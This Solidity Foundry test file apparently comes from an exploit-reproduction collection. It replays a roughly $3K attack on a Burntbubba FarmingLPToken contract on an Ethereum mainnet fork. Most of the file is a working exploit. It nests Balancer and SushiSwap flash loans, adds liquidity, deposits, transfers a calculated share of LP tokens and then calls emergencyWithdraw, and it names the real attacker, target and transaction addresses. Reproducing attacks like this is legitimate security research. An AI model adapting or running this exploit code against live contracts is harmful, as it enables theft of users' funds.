src/test/2023-11/Burntbubba_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "./../basetest.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~$3K
8// Attacker : https://etherscan.io/address/0x9d44f1a37044500064111010632a8a59003701c8
9// Attack Contract : https://etherscan.io/address/0x4bc691601b50b3e107b89d5ea172b40a9dbc6251
10// Vulnerable Contract : https://etherscan.io/address/0xa44e79a2c9a8965e7a6fa77bf0ca8faf50e6c73e
11// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0x2b6d0af0dc513a15e325703405739057f9de6ef3f99934b957653b8a3fade4c6
12 
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0xa44e79a2c9a8965e7a6fa77bf0ca8faf50e6c73e#code
15 
16// @Analysis
17// Post-mortem :
18// Twitter Guy : https://x.com/MetaSec_xyz/status/1730044259087315046
19// Hacking God :
20 
21interface ISushi {
22    function flashLoan(address borrower, address receiver, address token, uint256 amount, bytes memory data) external;
23}
24 
25interface IFarmingLPToken {
26    function deposit(
27        uint256 amountLP,
28        address[] memory path0,
29        address[] memory path1,
30        uint256 amountMin,
31        address beneficiary,
32        uint256 deadline
33    ) external;
34 
35    function transfer(address to, uint256 amount) external returns (bool);
36 
37    function emergencyWithdraw(
38        address beneficiary
39    ) external;
40 
41    function withdrawableTotalLPs() external view returns (uint256);
42 
43    function totalShares() external view returns (uint256);
44 
45    function balanceOf(
46        address account
47    ) external view returns (uint256);
48}
49 
50interface ISushiUSDC is IUSDC {
51    function burn(
52        address to
53    ) external returns (uint256 amount0, uint256 amount1);
54}
55 
56contract BurntbubbaExploit is BaseTestWithBalanceLog {
57    IERC20 private constant AST = IERC20(0x27054b13b1B798B345b591a4d22e6562d47eA75a);
58    IERC20 private constant SUSHI = IERC20(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2);
59    IUSDC private constant USDC = IUSDC(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
60    IWETH private constant WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));
61    ISushiUSDC private constant SushiUSDC = ISushiUSDC(0x397FF1542f962076d0BFE58eA045FfA2d347ACa0);
62    IFarmingLPToken private constant FarmingLPToken = IFarmingLPToken(0xa44e79a2c9a8965e7A6FA77BF0ca8FAF50e6C73E);
63    IBalancerVault private constant Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
64    ISushi private constant SushiSwap = ISushi(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966);
65    Uni_Router_V2 private constant SushiRouter = Uni_Router_V2(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);
66    Uni_Pair_V2 private constant AST_SUSHI = Uni_Pair_V2(0xd47f61BFCeA6e64F9D3FEC529C44153E04CB73B9);
67    address private constant originalAttackContract = 0x4Bc691601B50B3e107B89d5EA172B40a9dbC6251;
68 
69    uint256 private constant blocknumToForkFrom = 18_680_254;
70    address private toAddr;
71 
72    function setUp() public {
73        vm.createSelectFork("mainnet", blocknumToForkFrom);
74        toAddr = makeAddr("toAddr");
75        vm.label(address(AST), "AST");
76        vm.label(address(SUSHI), "SUSHI");
77        vm.label(address(USDC), "USDC");
78        vm.label(address(WETH), "WETH");
79        vm.label(address(SushiUSDC), "SushiUSDC");
80        vm.label(address(FarmingLPToken), "FarmingLPToken");
81        vm.label(address(Balancer), "Balancer");
82        vm.label(address(SushiSwap), "SushiSwap");
83        vm.label(address(SushiRouter), "SushiRouter");
84        vm.label(address(AST_SUSHI), "AST_SUSHI");
85    }
86 
87    function testExploit() public {
88        // Attacking contract start AST amount
89        deal(address(AST), address(this), 2_062_557);
90        emit log_named_decimal_uint("Exploiter USDC balance before attack", USDC.balanceOf(address(this)), 6);
91        emit log_named_decimal_uint("Exploiter WETH balance before attack", WETH.balanceOf(address(this)), 18);
92 
93        address[] memory tokens = new address[](2);
94        tokens[0] = address(USDC);
95        tokens[1] = address(WETH);
96        uint256[] memory amounts = new uint256[](2);
97        amounts[0] = 800e6;
98        amounts[1] = 50e16;
99        Balancer.flashLoan(address(this), tokens, amounts, bytes(""));
100 
101        emit log_named_decimal_uint("Exploiter USDC balance after attack", USDC.balanceOf(address(this)), 6);
102        emit log_named_decimal_uint("Exploiter WETH balance after attack", WETH.balanceOf(address(this)), 18);
103    }
104 
105    function receiveFlashLoan(
106        address[] calldata tokens,
107        uint256[] calldata amounts,
108        uint256[] calldata feeAmounts,
109        bytes calldata userData
110    ) external {
111        SushiSwap.flashLoan(address(this), address(this), address(SUSHI), 400_000e18, bytes("_"));
112        USDC.transfer(address(Balancer), amounts[0]);
113        WETH.transfer(address(Balancer), amounts[1]);
114    }
115 
116    function onFlashLoan(
117        address caller,
118        address erc20Token,
119        uint256 amount,
120        uint256 feeAmount,
121        bytes calldata data
122    ) external {
123        approveAll();
124        addLiquidity(address(USDC), address(WETH), 2e6, 1e15);
125        addLiquidity(address(USDC), address(AST), 2e6, 10e3);
126        addLiquidity(address(SUSHI), address(AST), amount, 10e3);
127 
128        address[] memory path0 = new address[](3);
129        path0[0] = address(USDC);
130        path0[1] = address(AST);
131        path0[2] = address(SUSHI);
132        address[] memory path1 = new address[](2);
133        path1[0] = address(WETH);
134        path1[1] = address(SUSHI);
135        FarmingLPToken.deposit(
136            SushiUSDC.balanceOf(address(this)), path0, path1, 0, address(this), block.timestamp + 1000
137        );
138        // Pull out value from original attack contract storage. Needed it for transfer amount calculation
139        uint256 value = uint256(vm.load(originalAttackContract, bytes32(uint256(10))));
140        uint256 totalWithdrawableLPs = FarmingLPToken.withdrawableTotalLPs();
141        uint256 totalShares = FarmingLPToken.totalShares();
142        uint256 transferAmount =
143            FarmingLPToken.balanceOf(address(this)) - ((value * totalShares) / totalWithdrawableLPs);
144        // In the attack tx amount of LPToken was transferred to exploiter eoa addr before making call to
145        // 'emergencyWithdraw'
146        FarmingLPToken.transfer(toAddr, transferAmount);
147        FarmingLPToken.emergencyWithdraw(address(this));
148        SushiUSDC.transfer(address(SushiUSDC), SushiUSDC.balanceOf(address(this)));
149        SushiUSDC.burn(address(this));
150        AST_SUSHI.transfer(address(AST_SUSHI), AST_SUSHI.balanceOf(address(this)));
151        AST_SUSHI.burn(address(this));
152 
153        uint256 amountOut = feeAmount + (feeAmount / 10);
154        address[] memory path = new address[](2);
155        path[0] = address(WETH);
156        path[1] = address(SUSHI);
157        SushiRouter.swapTokensForExactTokens(amountOut, 200e15, path, address(this), block.timestamp + 1000);
158        SUSHI.transfer(address(SushiSwap), amount + feeAmount);
159    }
160 
161    function approveAll() private {
162        USDC.approve(address(SushiRouter), type(uint256).max);
163        WETH.approve(address(SushiRouter), type(uint256).max);
164        AST.approve(address(SushiRouter), type(uint256).max);
165        SUSHI.approve(address(SushiRouter), type(uint256).max);
166        SushiUSDC.approve(address(FarmingLPToken), type(uint256).max);
167    }
168 
169    function addLiquidity(address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired) private {
170        SushiRouter.addLiquidity(
171            tokenA, tokenB, amountADesired, amountBDesired, 0, 0, address(this), block.timestamp + 1000
172        );
173    }
174}